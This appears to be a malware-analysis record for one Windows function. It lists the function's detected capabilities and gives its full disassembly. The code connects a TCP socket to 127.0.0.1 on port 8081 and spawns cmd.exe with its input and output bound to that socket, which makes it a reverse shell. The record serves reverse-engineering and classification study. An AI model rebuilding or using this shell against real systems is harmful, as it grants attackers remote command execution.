Function at 0x1400016d0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create a process with modified i/o handles and window
Create process on windows
Create tcp socket
Create udp socket
Initialize winsock library
Receive data
Receive data on socket
Terminate process

Disassembly:
push rbp
sub rsp, 0x4c0
lea rbp, [rsp + 0x80]
call sym.__main
movabs rax, 0x2e302e302e373231
mov qword [rbp - 0x2a], rax
mov word [rbp - 0x22], 0x31
mov dword [rbp + 0x43c], 0x1f91
lea rax, [rbp + 0x270]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
je 0x140001743
mov rax, qword [sym.imp.WS2_32.dll_WSAGetLastError]
call rax
mov edx, eax
lea rax, str.WSAStartup_failed_with_error:__d_n
mov rcx, rax
call sym.printf
mov ecx, 1
call sym.exit
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_WSASocketA]
call rax
mov qword [rbp + 0x430], rax
cmp qword [rbp + 0x430], 0xffffffffffffffff
jne 0x1400017b0
mov rax, qword [sym.imp.WS2_32.dll_WSAGetLastError]
call rax
mov edx, eax
lea rax, str.Socket_creation_failed_with_error:__d_n
mov rcx, rax
call sym.printf
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov ecx, 1
call sym.exit
mov eax, dword [rbp + 0x43c]
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x412], ax
mov word [rbp + 0x410], 2
lea rax, [rbp - 0x2a]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp + 0x414], eax
lea rdx, [rbp + 0x410]
mov rax, qword [rbp + 0x430]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_WSAConnect]
call rax
mov dword [rbp + 0x42c], eax
cmp dword [rbp + 0x42c], 0xffffffff
jne 0x14000187a
mov rax, qword [sym.imp.WS2_32.dll_WSAGetLastError]
call rax
mov edx, eax
lea rax, str.____Connection_to_the_target_server_failed__error:__d_n
mov rcx, rax
call sym.printf
mov rax, qword [rbp + 0x430]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov ecx, 0
call sym.exit
lea rdx, [rbp - 0x20]
mov rax, qword [rbp + 0x430]
mov r9d, 0
mov r8d, 0x200
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp + 0x428], eax
cmp dword [rbp + 0x428], 0xffffffff
jne 0x1400018ec
mov rax, qword [sym.imp.WS2_32.dll_WSAGetLastError]
call rax
mov edx, eax
lea rax, str.recv_failed_with_error:__d_n
mov rcx, rax
call sym.printf
mov rax, qword [rbp + 0x430]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 1
jmp 0x140001a59
lea rax, [rbp + 0x200]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0x200], 0x68
mov dword [rbp + 0x23c], 0x101
mov rax, qword [rbp + 0x430]
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x258], rax
mov rax, qword [rbp + 0x258]
mov qword [rbp + 0x250], rax
lea rax, [rbp + 0x1e0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x200]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
lea rax, str.cmd.exe
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
jne 0x1400019e3
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.CreateProcess_failed_with_error:__d_n
mov rcx, rax
call sym.printf
mov rax, qword [rbp + 0x430]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 1
jmp 0x140001a59
mov rax, qword [rbp + 0x1e0]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x1e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x1e8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x430]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
lea rax, [rbp - 0x20]
mov r8d, 0x200
mov edx, 0
mov rcx, rax
call sym.memset
mov eax, 0
add rsp, 0x4c0
pop rbp
ret